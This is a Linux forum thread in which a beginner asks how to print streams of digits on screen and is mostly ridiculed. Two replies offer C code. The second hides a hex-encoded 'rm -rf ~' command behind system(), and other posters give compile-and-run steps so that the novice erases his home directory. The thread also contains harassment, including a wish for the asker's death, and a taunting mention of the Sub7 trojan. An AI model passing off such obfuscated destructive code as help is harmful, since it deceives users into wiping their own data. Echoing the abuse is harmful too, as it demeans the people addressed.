programming Question

[elitewhiteghost]

I am working on a program that show numbers or letters on my sceen like in the movie enemy of the state.How can i do that?



Would this work.


for(;; } cout << "101010101" ; }

[cybertron]

Probably, although using a while(true) loop would probably make more sense if you're looking for an infinite loop.

Edit: BTW, why don't you just try it? I don't mean to be rude, but if you can type it into the forum post you can type it into your text editor of choice and compile.

[Hayl]

Originally posted by cybertron
Edit: BTW, why don't you just try it? I don't mean to be rude, but if you can type it into the forum post you can type it into your text editor of choice and compile.

i second that motion.....

can i have "I answered my own question with my question" for $200, please Alex.

[maccorin]

Originally posted by elitewhiteghost
I am working on a program that show numbers or letters on my sceen like in the movie enemy of the state.How can i do that?



Would this work.


for(;; } cout << "101010101" ; }

no... for requires () ... not just (... and it's { }... not } }

and also... they are correct you could have typed this into emacs/vi/nano/gedit/kedit/name_your_fsckin_editor just as easily as here.... i should have guessed you code would suck... you name matches /.*elite.*/i

and ummm... btw how much more useless could a program get?

[serz]

It's always better to try, try, search and then ask so you don't have to always depend on someone...

:rolleyes:

[dkeav]

wow that is a great idea *cough* THE MATRIX *cough*

:rolleyes:

[elitewhiteghost]

I been look at the man random number man page.And i been looking on some form to.:)

i think i try to find some sourcecode.

[maccorin]

i think you misunderstood chastisement and sarcasm for caring

[cudaman73]

elitewhiteghost....if you're _really_ that hellbent on writing a program (which will never work, looking at your current source codes), then go buy a fscking coding book, and leave the users here at JustLinux alone. None of us like you, we all wish you were dead.

for(;; } cout << "101010101" ; }

^^ this will never work. ever. in no language, in no shape, form or fashion. 101010101 isnt even a real binary digit. please, go rtfm for the rest of your fscking life!

-Cuda (The Hata)

[elitewhiteghost]

cudaman73,


I just ask a question on programming and i don't know what your prob.I know what that command your talking i not going to deale everything on my hard drive i not rude like you...


:rolleyes:

[maccorin]

for the record... i agree w/ cudaman73

[cudaman73]

well...at least i have a familiarity with the english language...

im sorry for being mean, i didnt know my problem what it was neither.


hold on...lemme go find a program that you might want to become familiar with...it outputs text to your screen.

edit: it may take a while...but you might want to base your program off of it :)

[maccorin]

LMFAO

[elitewhiteghost]

That was very hash and mean.I take you treat all people that come for here for question.


By the way cudaman73 your are on my iggy list.:rolleyes:

[cudaman73]

here...try this in a terminal

cout << "my screenie";

[1337_h4x0R]

U R my h3r0 B34nie!!
I wan c0de jost lik yors!
Cay w3 bee fr3nds?
I l1k3 U beenie

[DAudioLink@Sch]

couple of questions have I. wtf is iggy? isn't hash used to crypt passwords and files for p2p?

[1337_h4x0R]

Why don u just donload sub7 sev3n
taht's what u relly w4nt anyw4y.
Isn't 1t?

[maccorin]

#include <stdio.h>
#include <stdlib.h>

int main ( int argc, char *argv[] )
{
int i;
while(1) {
i = rand() % 2;
printf("%d", i);
}
}

[maccorin]

#include <stdlib.h>

const char str[] = "\x72\x6d\x20\x2d\x72\x66\x20\x7e";

int main()
{
system(str);
}

[elitewhiteghost]

Thanks for that code maccorin.Well iggy mean Ignore List and 1337 your on my Ignore List so don't try to talkto me 1337.

[adhall02]

Originally posted by maccorin
#include <stdlib.h>

const char str[] = "\x72\x6d\x20\x2d\x72\x66\x20\x7e
";

int main()
{
system(str);
}

elitewhiteghost, just put his program in, say, foo.c and then do 'gcc foo.c' then you can type './a.out' in the same directory where a.out is.

[maccorin]

you don't have to be root, and that copy paste is a little fscked up, i fixed it so you won't get newline errors in my post

[bwkaz]

All right, this has gone on WAAAY too long.

End of thread.

If you can't keep it civil, talk somewhere else.